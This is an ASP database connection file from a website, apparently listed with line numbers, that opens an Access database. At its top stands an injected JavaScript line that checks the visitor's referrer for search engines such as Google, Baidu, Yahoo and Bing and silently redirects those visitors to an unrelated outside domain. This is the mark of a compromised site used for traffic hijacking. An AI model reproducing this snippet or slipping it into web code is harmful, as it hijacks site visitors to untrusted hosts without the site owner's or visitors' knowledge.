d:\wwwroot\wuchunhua\mail\CONN.ASP
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@LANGUAGE="VBSCRIPT"
%
>
002:
<%
003:
on error resume next
004:
dim conn
005:
dim connstr
006:
dim db
007:
db="pic/123.mdb"
008:
Set conn = Server.CreateObject("ADODB.Connection")
009:
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")
010:
conn.Open connstr
011:
012:
function closeDB
013:
Conn.close
014:
Set conn = Nothing
015:
End Function
016:
%
>
017:
018:
019:
020: